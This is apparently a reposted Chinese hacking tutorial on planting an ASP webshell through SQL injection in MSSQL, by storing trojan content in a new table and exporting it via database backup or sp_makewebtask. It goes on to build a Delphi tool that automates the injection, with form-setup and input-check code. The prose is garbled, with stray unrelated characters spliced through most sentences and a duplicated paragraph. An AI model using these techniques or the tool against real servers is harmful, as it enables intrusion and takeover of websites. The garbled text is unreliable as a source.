還有說(shuō)一下乎完,2003的流熏兄,是可以寫(xiě)入文件也可以寫(xiě)入目錄的!你想把一句話?cǎi)R寫(xiě)在目錄里也成树姨,文件里也成但建議保存到目錄里摩桶,因?yàn)槲募绻薷模鲾?shù)據(jù)將會(huì)清空帽揪,但目錄不會(huì)硝清!用菜刀測(cè)試成功!
Hacker By T.H.E本文來(lái)源:http://www.t00ts.net/post-35.html
http://www.jb51.net/hack/5833.html
一.通過(guò)SQL注入得到WEBSHELL的原理: N.E.V.E.R的方法:利用數(shù)據(jù)庫(kù)備份得到WEBSHELL转晰。創(chuàng)建一個(gè)表芦拿,在表中建一個(gè)字段用來(lái)保存木馬數(shù)據(jù)。然后利用MSSQL導(dǎo)出庫(kù)文件的辦法把整個(gè)數(shù)據(jù)導(dǎo)出來(lái)查邢,最后再刪除新建的表蔗崎。 分析: N.E.V.E.R利用了MSSQL的備份數(shù)據(jù)庫(kù)功能。把數(shù)
一.通過(guò)SQL注入得到WEBSHELL的原理:
N.E.V.E.R的方法:利用數(shù)據(jù)庫(kù)備份得到WEBSHELL扰藕。創(chuàng)建一個(gè)表缓苛,在表中建一個(gè)字段用來(lái)保存木馬數(shù)據(jù)。然后利用MSSQL導(dǎo)出庫(kù)文件的辦法把整個(gè)數(shù)據(jù)導(dǎo)出來(lái)实胸,最后再刪除新建的表他嫡。
分析: N.E.V.E.R利用了MSSQL的備份數(shù)據(jù)庫(kù)功能。把數(shù)據(jù)導(dǎo)出來(lái)庐完,設(shè)想數(shù)據(jù)庫(kù)中有<%%>之類的ASP標(biāo)實(shí)符钢属,導(dǎo)出文件,文件名以.ASP的形式保存门躯。然后文件又保存在WEB的路徑下淆党。那么這個(gè)導(dǎo)出的ASP文件是不是要去解釋<%%> 之內(nèi)的語(yǔ)句呢?如果數(shù)據(jù)庫(kù)中有的表中有<%%>標(biāo)實(shí)符讶凉,并且這之中有錯(cuò)誤染乌,那么我們導(dǎo)出來(lái)生成的ASP文件也會(huì)有誤。不過(guò)懂讯,這種機(jī)會(huì)也不太大荷憋。
再來(lái)看看CZY的方法吧。 CZY的方法:前面的和N.E.V.E.R的方法基本上差不多褐望。只是后面用到了擴(kuò)展存儲(chǔ)過(guò)程——sp_makewebtask勒庄。這個(gè)擴(kuò)展存儲(chǔ)過(guò)程的作用就是:可以把MSSQL數(shù)據(jù)庫(kù)中的某個(gè)表中的記錄導(dǎo)出來(lái)串前,以文件的方法保存起來(lái)。這種方法就不會(huì)出現(xiàn)什么問(wèn)題原因在于:我們只去讀表中的某個(gè)字段中的值实蔽。把字段的信息導(dǎo)出來(lái)生成文件荡碾。這個(gè)字段中的值都是我們剛加上的。自己在加入數(shù)據(jù)的時(shí)候局装,先調(diào)試一下坛吁,沒(méi)有問(wèn)題在加入進(jìn)去,導(dǎo)出來(lái)就當(dāng)然沒(méi)有問(wèn)題了铐尚。
以上兩位的方法拨脉,我都手工測(cè)試過(guò)。利用SQL注入漏洞塑径,建表女坑,向表中加數(shù)據(jù),然后再導(dǎo)出數(shù)據(jù)统舀,再刪除表匆骗。都是利用的SQL語(yǔ)句。這里我就不多說(shuō)了誉简,大家可以看本期的文章碉就。
二.利用DELPHI去實(shí)現(xiàn)功能的前言
原理都分析過(guò)了。我們?cè)趺蠢肈ELPHI來(lái)實(shí)現(xiàn)他們的手工操作呢闷串?其實(shí)方法是非常簡(jiǎn)單的瓮钥。DELPHI提供了一個(gè)NMHTTP控件。我們利用這個(gè)控件就可以向某個(gè)特定的URL提交參數(shù)烹吵。然后實(shí)現(xiàn)我們的自動(dòng)注射功能碉熄。我馬上要為大家講解的這個(gè)程序,有一個(gè)特點(diǎn)肋拔。也可以說(shuō)成是一個(gè)缺陷吧锈津。程序不去自動(dòng)猜解WEB的絕對(duì)路徑。程序不去判斷當(dāng)前連接SQL數(shù)據(jù)庫(kù)的當(dāng)前賬號(hào)的權(quán)限凉蜂。我為什么要這么做琼梆?因?yàn)榈玫竭@兩者用SQL注入是非常難得到的。所以窿吩,我們程序發(fā)送命令就不會(huì)考慮太多茎杂。成不成功你執(zhí)行完自己去看看生成沒(méi)有就OK了。
三.如何利用DELPHI得到WEBSHELL纫雁。
程序中用到的值煌往。我們這里來(lái)看看有哪些:URL路徑,遠(yuǎn)程WEB絕對(duì)路徑(通過(guò)其他方法得到,你一定有辦法的) 采用什么方法去得到WEBSHELL(也就是兩位的方法轧邪,你選哪一種)刽脖。我們同時(shí)要求點(diǎn)擊一個(gè)按紐開(kāi)始執(zhí)行命令悼粮,和點(diǎn)擊一個(gè)按紐來(lái)終止命今。最后就是新建的表的名稱曾棕,以及表的字段名稱,再次就是字段的類型菜循。前面的我們?cè)诔绦蛑蟹派陷斎肭痰兀x擇之類的控件就行了。后面的我們?cè)O(shè)一個(gè)選項(xiàng)按紐點(diǎn)按紐彈出相應(yīng)設(shè)置癌幕。再把這些相應(yīng)的設(shè)置用一個(gè)RECORD來(lái)保存衙耕。
首先,我們?cè)贒IT控件勺远。名稱分別是:UrlET //URL路徑的輸入框橙喘、ShellPathET //遠(yuǎn)程木馬的位置、CustomBdoorET//自定義木馬的位置胶逢。再放兩個(gè)RadioButton用來(lái)選擇采用什么方式獲取WEBSHELL厅瞎。CAPTION分別取名為: BackUP DataBase 和 WEB作業(yè)。然后再放三個(gè)SpeedButtion按紐初坠。名稱分別是:設(shè)置和簸,開(kāi)始,停止, 最后再放一個(gè)MEMO控件碟刺。來(lái)顯示當(dāng)前添加的信息锁保。到此界面上的工作就做完了。界面如圖:
現(xiàn)在來(lái)寫(xiě)程序了半沽。 我們首先定義一個(gè)RECORD爽柒。 如下:
Type
SetOption = Record
TableName : String; //用來(lái)保存要?jiǎng)?chuàng)建的表名.
FieldName : String; //用來(lái)保存要?jiǎng)?chuàng)建的字段名.
FiledType : String; //用來(lái)保存創(chuàng)建的字段名類型.
End;
FiledType字段類型的值是以下類型的一種:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar
這些都是MSSQL字段類型值.
再定義一個(gè)全局變量:
Var
ISStop : Boolean; //用來(lái)判斷用戶是否按下了停止按紐.
好了。在表單創(chuàng)建的過(guò)程中者填,我們?yōu)镽ECORD記錄輸入默認(rèn)值.
代碼如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin sOption.TableName :=’cyfd’
sOption.FieldName :=’gmemo’
sOption.FiledType :=’text’
end;
現(xiàn)在我們添加開(kāi)始執(zhí)行命令的代碼浩村。
先定義BDoorList 為T(mén)stringList。主要目的就是把木馬的內(nèi)容加進(jìn)來(lái).
創(chuàng)建兩個(gè)變量來(lái)保存urlET.和ShellPathET的值.方便程序簡(jiǎn)化調(diào)用. 在程序開(kāi)始執(zhí)行前,我們得先檢查一下用戶的輸入
定義一個(gè)Checkinput函數(shù).
如下:
Function CheckInput : Boolean;
Begin Result := False;
if Trim(urlet.Text) = ’’ then
Begin
Application.MessageBox(’請(qǐng)輸入U(xiǎn)RL地址!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = ’’ then
Begin
Application.MessageBox(’請(qǐng)輸入文件保存地址!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName) ’默認(rèn)木馬.txt’) then
Begin
Application.MessageBox(’沒(méi)有找到 [默認(rèn)木馬.txt] 文件!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
End
Else if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox(’沒(méi)有找到所選的木馬文件!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
Result := True;
End;